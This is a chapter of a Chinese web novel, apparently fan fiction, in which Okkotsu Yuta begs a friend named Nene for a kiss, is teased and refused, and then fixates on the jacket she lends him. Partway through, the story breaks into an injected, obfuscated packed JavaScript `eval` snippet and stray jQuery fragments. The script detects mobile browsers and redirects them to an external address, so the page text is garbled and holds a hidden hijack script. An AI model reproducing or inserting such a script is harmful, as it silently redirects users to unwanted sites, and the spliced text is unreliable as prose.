23.发出小狗般的呜咽

作品:《一直讨厌的阴湿男变强了怎么办

    *


    乙骨忧太感觉自己整张脸都红透了。


    他结结巴巴,语序混乱,眼前都开始泛起密密麻麻的小白点。


    “可、可是…上次间接的…就、就怀孕了…这次直接的…会不会…”


    已经完全不知道自己究竟在说什么了。


    轻飘飘的像落入云朵,浑身飘飘然,思绪一团乱。落入棉花糖一样浑身上下烫烫的,快要发烧。


    直到乙骨忧太的肩膀被按着后退,后背抵在墙上——


    近在咫尺的呼吸,少女过近的眼眸,里面倒映着满脸通红的他。


    乙骨忧太感受到了她的呼吸,他心跳快得几乎要炸开,手心止不住的出汗,指甲抠在墙壁上也不觉得疼。


    “宁、宁宁……”他小声说,舍不得闭眼,“我……我有点紧张。”


    “紧张是正常的。”


    呼吸相融,只差几厘米的位置。


    “宁宁同学……”他浑身僵硬,喉结轻轻滚动了一下,“好、好近……”


    宁宁抬眼看他,“是啊,那还要继续吗?”


    “嗯…请、请继续……”


    “很想?”


    “想……但更想让宁宁开心…”


    宁宁轻笑一声,“听上去很真诚呢。”


    “因为…因为都是真心的……”


    想让宁宁开心,想让宁宁感到愉悦。因为都是真心的,想和宁宁一直在一起,成为一辈子的朋友,所以不管怎么样都可以。他的名字,他的身体,他的人格……什么都可以…是宁宁、宁宁的、宁宁的、宁宁的、宁宁的、宁宁的、宁宁的、宁宁的、宁宁的、宁宁的、宁宁的、宁宁的、宁宁的、宁宁的、宁宁的、宁宁的、宁宁的、宁宁的、宁宁的、宁宁的、宁宁的、宁宁的、宁宁的、宁宁的、宁宁的、宁宁的、


    期盼的触感并没有来,温热的气息一闪而过。小仓宁拉开一段距离,双手抱着手臂,好整以暇看着他。


    “宁宁……?”忧太睁开眼,“怎么了吗…唔……”


    脑袋突然被弹了一下,忧太捂住额头,眨巴眨巴眼睛。


    “不可以哦。”


    宁宁认真教导道,“朋友之间是不可以接吻,不可以想乱七八糟的。我现在真的很怀疑,你们到底学校有没有好好学习啊?”


    “不、不可以吗?”


    忧太小声说,“可是宁宁之前就说过,朋友之间亲亲或者拥抱都是可以的……”


    宁宁又打了他一下,“我什么时候说过。”


    “唔……就是、就是和三菅同学在教室里的时候……”


    宁宁回忆了一下。她好像的确说过这句话,但明明原句是:“如果朋友之间亲亲或者拥抱都是可以的话,那这个世界还要情侣干什么。”


    ……这明显是一句反讽吧!还有她当时可是在自己班上的教室里,忧太又是怎么知道的?


    “你理解错了,我完全是相反的意思。”


    “呜…”


    黑色毛茸茸的脑袋底下,发出细小呜咽的声音。


    “宁宁会讨厌我吗……?”


    “嗯?为什么会。”


    “因为我刚才说了奇怪的话……还想和宁宁做、做奇怪的事。明明只是朋友,却想有更亲密的举动。”


    小仓宁思索了一下,摇摇头:“还好。只是亲一下而已。友情方面的亲亲也是很正常的吧。”


    乙骨忧太抬起头,翠绿色的眼睛亮起来,像一只站立不断摇晃尾巴的狗。


    “真的吗!那、那我可以和宁宁进行友情方面的亲亲吗?”


    宁宁笑而不语:“不可以。真是的……怎么有人像小狗一样可怜巴巴的索吻啊。”


    忧太耳朵都耷拉下来,但还是忍不住小声嘟囔:“可是…小狗索吻的话,主人有时候是会给的……”


    “哇哦,有点得寸进尺了哦。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17360829|198677||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    宁宁背好书包,整理了一下裙摆,“而且,哪有人说自己是小狗的嘛。朋友就是朋友,不是小狗也不是什么别的物品。”


    乙骨忧太点头:“嗯…我明白了。那我们还是朋友吗?虽然有时候还是想做一些奇怪的事情……”


    最后一句声音很小,宁宁没有听见。


    “当然。”她说。


    几滴水落在她的手上,宁宁抬头,已经隐约看见几滴水珠。


    “下雨了。”她解开外套,递给他:“我过一个拐角就到家了,我这件外套有帽子,你披回去挡一下雨吧。”


    外套上还残留着体温,忧太迟疑接过,“可是宁宁会感冒的。”


    “没事,我马上就到家了。”


    小仓宁挥挥手,“明天再给我吧,忧太。”


    淅淅沥沥的毛毛雨被风吹着斜斜飘过来,毛茸茸的黑发落了雨,有些发亮的湿润起来。


    乙骨忧太站在原地,双手捧着浅蓝色针织衫的外套,下垂着眸,纤细的睫毛止不住颤抖。


    然后,他低下头,弓起背,一点点靠近那件针织外套,将脸埋进外套里。


    温热的气息包裹住他,像草莓牛奶一样的香甜萦绕在他鼻音间。


    乙骨忧太的头越来越低,身体越来越弯曲。


    他的脊背发出咔嚓咔嚓的声音,骨骼在关节里摩擦。最后双膝跪地,完全扑在草地上,双手紧紧攥着外套,用力朝怀里塞。


    他习惯性大吸一口气,直到一点味道都无法再融入肺叶,濒临缺氧和窒息,然后才几近颤抖地吐出。


    无数细小的绒毛贴近着他的皮肤,像数不清的小触手。


    昏暗的视线中,乙骨忧太张开口,勾住线团,试探性地吐出一点舌尖。


    “呜……”


    颤抖的舌尖,含糊不清的话语,口中嚅嗫的毛线团。


    乙骨忧太埋在宁宁的外套里,发出小狗般的呜咽。